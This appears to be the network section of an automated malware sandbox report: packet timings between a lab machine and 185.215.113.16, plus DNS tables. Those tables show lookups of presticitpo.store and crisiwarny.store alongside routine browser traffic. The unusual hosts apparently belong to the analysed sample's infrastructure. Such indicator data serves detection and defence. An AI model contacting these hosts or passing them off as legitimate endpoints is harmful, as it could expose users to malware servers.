Oct 26, 2024 08:54:09.055380106 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.055397987 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055438995 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.055440903 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055459976 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055485010 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055501938 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055501938 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.055502892 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.055527925 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.055542946 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056051970 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056067944 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056085110 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056098938 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056102037 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056123972 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056145906 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056169987 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056261063 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056277990 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056293011 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056309938 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056313992 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056337118 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056368113 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056600094 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056646109 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056658030 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056674957 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056699991 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056704998 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056723118 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.056734085 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056752920 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.056792974 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.057054996 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.057090998 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.057101965 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.057106972 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.057130098 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.057151079 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.096561909 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.096581936 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.096611023 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.096627951 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.096642017 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.096658945 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.096756935 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.096757889 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.096757889 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.134139061 CEST	80	49984	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 08:52:43.803378105 CEST	192.168.2.7	1.1.1.1	0x17fd	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:52:43.831677914 CEST	192.168.2.7	1.1.1.1	0x5986	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:04.020369053 CEST	192.168.2.7	1.1.1.1	0x8122	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:20.393011093 CEST	192.168.2.7	1.1.1.1	0xdb6f	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:27.463037968 CEST	192.168.2.7	1.1.1.1	0xf95b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:27.506843090 CEST	192.168.2.7	1.1.1.1	0x2b09	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:29.160680056 CEST	192.168.2.7	1.1.1.1	0x609f	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:29.170114040 CEST	192.168.2.7	1.1.1.1	0xe6f9	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:29.181859016 CEST	192.168.2.7	1.1.1.1	0xb2b3	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 26, 2024 08:54:29.293083906 CEST	192.168.2.7	1.1.1.1	0x2d1	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:29.305376053 CEST	192.168.2.7	1.1.1.1	0x2c57	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:29.314261913 CEST	192.168.2.7	1.1.1.1	0x5ec6	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:30.981148005 CEST	192.168.2.7	1.1.1.1	0x7302	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:30.987159967 CEST	192.168.2.7	1.1.1.1	0x8647	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:30.994905949 CEST	192.168.2.7	1.1.1.1	0x94c4	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:31.000638962 CEST	192.168.2.7	1.1.1.1	0x13cb	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:31.009181976 CEST	192.168.2.7	1.1.1.1	0xba5f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:54:32.088427067 CEST	192.168.2.7	1.1.1.1	0x293a	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.097789049 CEST	192.168.2.7	1.1.1.1	0x3664	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.099992990 CEST	192.168.2.7	1.1.1.1	0xfef8	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.106270075 CEST	192.168.2.7	1.1.1.1	0xa453	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:32.108027935 CEST	192.168.2.7	1.1.1.1	0x5b25	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:32.263808966 CEST	192.168.2.7	1.1.1.1	0x1543	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.291347980 CEST	192.168.2.7	1.1.1.1	0xe4bc	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.307596922 CEST	192.168.2.7	1.1.1.1	0xb3d2	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.322798014 CEST	192.168.2.7	1.1.1.1	0xd97b	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:33.567734957 CEST	192.168.2.7	1.1.1.1	0x2555	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.347088099 CEST	192.168.2.7	1.1.1.1	0xfa8f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:51.520289898 CEST	192.168.2.7	1.1.1.1	0x8b54	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.532314062 CEST	192.168.2.7	1.1.1.1	0x825f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.533124924 CEST	192.168.2.7	1.1.1.1	0x5509	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 26, 2024 08:54:51.629019976 CEST	192.168.2.7	1.1.1.1	0x3303	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:54:51.630040884 CEST	192.168.2.7	1.1.1.1	0xf55e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:51.651046991 CEST	192.168.2.7	1.1.1.1	0xd634	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.772605896 CEST	192.168.2.7	1.1.1.1	0x3d84	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:51.792011976 CEST	192.168.2.7	1.1.1.1	0x4388	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:51.809964895 CEST	192.168.2.7	1.1.1.1	0x1f47	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.886259079 CEST	192.168.2.7	1.1.1.1	0xc7d4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.928052902 CEST	192.168.2.7	1.1.1.1	0xc3df	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.944307089 CEST	192.168.2.7	1.1.1.1	0xd629	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:54:51.958623886 CEST	192.168.2.7	1.1.1.1	0xb6b9	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.962831974 CEST	192.168.2.7	1.1.1.1	0x47d1	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:52.006423950 CEST	192.168.2.7	1.1.1.1	0xa0df	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:52.006643057 CEST	192.168.2.7	1.1.1.1	0x45bc	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:54:54.490227938 CEST	192.168.2.7	1.1.1.1	0xbc2d	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.521729946 CEST	192.168.2.7	1.1.1.1	0x2f1d	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.531275034 CEST	192.168.2.7	1.1.1.1	0xd60d	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.532663107 CEST	192.168.2.7	1.1.1.1	0x78fa	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.537661076 CEST	192.168.2.7	1.1.1.1	0x926d	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.541115999 CEST	192.168.2.7	1.1.1.1	0xcf02	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.541610003 CEST	192.168.2.7	1.1.1.1	0x4e92	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.546156883 CEST	192.168.2.7	1.1.1.1	0x57ca	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:55.549762011 CEST	192.168.2.7	1.1.1.1	0x99aa	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 26, 2024 08:54:55.555290937 CEST	192.168.2.7	1.1.1.1	0x5b84	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.555545092 CEST	192.168.2.7	1.1.1.1	0x459c	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 26, 2024 08:54:55.566766977 CEST	192.168.2.7	1.1.1.1	0x5964	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.567383051 CEST	192.168.2.7	1.1.1.1	0x3a58	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.583811045 CEST	192.168.2.7	1.1.1.1	0x19ed	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.584239006 CEST	192.168.2.7	1.1.1.1	0x3c1a	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 26, 2024 08:54:55.629208088 CEST	192.168.2.7	1.1.1.1	0xc728	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 26, 2024 08:54:58.160201073 CEST	192.168.2.7	1.1.1.1	0xec5a	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:55:08.811001062 CEST	192.168.2.7	1.1.1.1	0xf643	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:55:17.223222017 CEST	192.168.2.7	1.1.1.1	0xb29b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:55:17.449903011 CEST	192.168.2.7	1.1.1.1	0xdade	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.449903011 CEST	192.168.2.7	1.1.1.1	0xcf98	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.475208044 CEST	192.168.2.7	1.1.1.1	0x4592	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.659121037 CEST	192.168.2.7	1.1.1.1	0x2b18	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:55:17.672302961 CEST	192.168.2.7	1.1.1.1	0xbe1a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:55:17.677073956 CEST	192.168.2.7	1.1.1.1	0x718	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:55:17.719518900 CEST	192.168.2.7	1.1.1.1	0xfc14	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:55:17.760322094 CEST	192.168.2.7	1.1.1.1	0xff74	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.833214998 CEST	192.168.2.7	1.1.1.1	0x9c29	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.842392921 CEST	192.168.2.7	1.1.1.1	0x42cf	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:55:17.875067949 CEST	192.168.2.7	1.1.1.1	0xe0c8	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:55:17.904509068 CEST	192.168.2.7	1.1.1.1	0x8719	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:55:18.171888113 CEST	192.168.2.7	1.1.1.1	0x9b6e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:20.445322990 CEST	192.168.2.7	1.1.1.1	0x634f	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:55:21.226452112 CEST	192.168.2.7	1.1.1.1	0xb320	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 26, 2024 08:55:21.226775885 CEST	192.168.2.7	1.1.1.1	0x274f	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 26, 2024 08:55:23.757503986 CEST	192.168.2.7	1.1.1.1	0x5793	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:55:35.484394073 CEST	192.168.2.7	1.1.1.1	0xd544	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:55:45.456103086 CEST	192.168.2.7	1.1.1.1	0xa2c5	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:45.459904909 CEST	192.168.2.7	1.1.1.1	0x2aad	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:45.461883068 CEST	192.168.2.7	1.1.1.1	0xd8aa	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:45.465277910 CEST	192.168.2.7	1.1.1.1	0x7969	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:55:45.473550081 CEST	192.168.2.7	1.1.1.1	0x96b8	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 26, 2024 08:55:56.267988920 CEST	192.168.2.7	1.1.1.1	0x5c90	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:56.277268887 CEST	192.168.2.7	1.1.1.1	0xaef6	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:56:08.862195969 CEST	192.168.2.7	1.1.1.1	0x44a2	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:56:15.310781002 CEST	192.168.2.7	1.1.1.1	0xdea7	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 26, 2024 08:56:15.979949951 CEST	192.168.2.7	1.1.1.1	0xa7f0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:56:20.486030102 CEST	192.168.2.7	1.1.1.1	0x6323	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:56:37.249519110 CEST	192.168.2.7	1.1.1.1	0x93c4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:56:37.257947922 CEST	192.168.2.7	1.1.1.1	0x3b85	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 08:52:43.823605061 CEST	1.1.1.1	192.168.2.7	0x17fd	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:52:43.856421947 CEST	1.1.1.1	192.168.2.7	0x5986	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:52:43.856421947 CEST	1.1.1.1	192.168.2.7	0x5986	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:04.030699968 CEST	1.1.1.1	192.168.2.7	0x8122	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:21.259737015 CEST	1.1.1.1	192.168.2.7	0xdb6f	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:27.444761992 CEST	1.1.1.1	192.168.2.7	0x8844	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:27.471182108 CEST	1.1.1.1	192.168.2.7	0xf95b	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:29.168154955 CEST	1.1.1.1	192.168.2.7	0x609f	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:29.168154955 CEST	1.1.1.1	192.168.2.7	0x609f	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:29.177926064 CEST	1.1.1.1	192.168.2.7	0xe6f9	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:29.189023972 CEST	1.1.1.1	192.168.2.7	0xb2b3	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 26, 2024 08:54:29.300618887 CEST	1.1.1.1	192.168.2.7	0x2d1	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:29.300618887 CEST	1.1.1.1	192.168.2.7	0x2d1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:29.313504934 CEST	1.1.1.1	192.168.2.7	0x2c57	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:29.322196007 CEST	1.1.1.1	192.168.2.7	0x5ec6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 26, 2024 08:54:30.988867998 CEST	1.1.1.1	192.168.2.7	0x7302	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:30.994812965 CEST	1.1.1.1	192.168.2.7	0x8647	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:31.002931118 CEST	1.1.1.1	192.168.2.7	0x94c4	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:31.002931118 CEST	1.1.1.1	192.168.2.7	0x94c4	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:31.008680105 CEST	1.1.1.1	192.168.2.7	0x13cb	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.096301079 CEST	1.1.1.1	192.168.2.7	0x293a	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:32.096301079 CEST	1.1.1.1	192.168.2.7	0x293a	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.098433018 CEST	1.1.1.1	192.168.2.7	0xaed	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:32.098433018 CEST	1.1.1.1	192.168.2.7	0xaed	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.105645895 CEST	1.1.1.1	192.168.2.7	0x3664	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.107439041 CEST	1.1.1.1	192.168.2.7	0xfef8	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.271140099 CEST	1.1.1.1	192.168.2.7	0x1543	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:32.271140099 CEST	1.1.1.1	192.168.2.7	0x1543	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.299369097 CEST	1.1.1.1	192.168.2.7	0xe4bc	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:32.299369097 CEST	1.1.1.1	192.168.2.7	0xe4bc	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:32.299369097 CEST	1.1.1.1	192.168.2.7	0xe4bc	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.315233946 CEST	1.1.1.1	192.168.2.7	0xb3d2	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:32.330543041 CEST	1.1.1.1	192.168.2.7	0xd97b	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 26, 2024 08:54:33.576600075 CEST	1.1.1.1	192.168.2.7	0x2555	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:51.527734995 CEST	1.1.1.1	192.168.2.7	0x8b54	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:51.527734995 CEST	1.1.1.1	192.168.2.7	0x8b54	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.539752007 CEST	1.1.1.1	192.168.2.7	0x825f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:51.539752007 CEST	1.1.1.1	192.168.2.7	0x825f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.541656017 CEST	1.1.1.1	192.168.2.7	0x5509	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 26, 2024 08:54:51.768330097 CEST	1.1.1.1	192.168.2.7	0xd634	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.799427986 CEST	1.1.1.1	192.168.2.7	0x4388	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 26, 2024 08:54:51.817837000 CEST	1.1.1.1	192.168.2.7	0x1f47	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.893970966 CEST	1.1.1.1	192.168.2.7	0xc7d4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.935431957 CEST	1.1.1.1	192.168.2.7	0xc3df	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:51.935431957 CEST	1.1.1.1	192.168.2.7	0xc3df	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.937269926 CEST	1.1.1.1	192.168.2.7	0xc4a9	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
